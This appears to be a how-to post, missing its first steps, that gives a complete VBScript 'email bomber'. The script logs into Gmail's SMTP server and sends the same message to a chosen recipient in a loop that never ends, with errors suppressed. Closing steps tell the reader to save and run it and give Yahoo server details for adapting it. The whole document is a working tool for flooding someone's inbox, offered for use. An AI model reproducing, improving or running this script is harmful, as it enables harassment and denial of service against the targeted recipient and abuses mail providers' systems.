EMAIL BOMBER
Dim value
value=1
on error resume next
Const schema = "http://schemas.microsoft.com/cdo/configuration/"
Const cdoBasic = 1
Const cdoSendUsingPort = 2
Dim oMsg, oConf
' E-mail properties
Set oMsg = CreateObject("CDO.Message")
oMsg.From = "sender@gmail.com"
oMsg.To = "reciever@mail.com"
oMsg.Subject = "message subject what u want"
oMsg.TextBody = "If you can read this, the script worked!"
' GMail SMTP server configuration and authentication info
do
Set oConf = oMsg.Configuration
oConf.Fields(schema & "smtpserver") = "smtp.gmail.com" 'server address
oConf.Fields(schema & "smtpserverport") = 465 'port number
oConf.Fields(schema & "sendusing") = cdoSendUsingPort
oConf.Fields(schema & "smtpauthenticate") = cdoBasic 'authentication type
oConf.Fields(schema & "smtpusessl") = True 'use SSL encryption
oConf.Fields(schema & "sendusername") = "sender@gmail.com" 'senderusername
oConf.Fields(schema & "sendpassword") = "password" 'sender password
oConf.Fields.Update()
' send message
oMsg.Send()
Loop Until value=2
Step 4: Now save the file as "something.vbs"
Step 5: All done now just double click on your something.vbs file and see the results.
NOTE : here in this code senders id must be in gmail.com for if senders email id other than gmail then you have to configure server configuration accordingly...
| Yahoo | |
| POP3: pop.mail.yahoo.com | SMTP: smtp.mail.yahoo.com |
| POP3 PORT :110 | SMTP PORT: 25 |
| Note: You must subscribe to Yahoo's Premium service to access your email via POP, free accounts can not use this option. | |










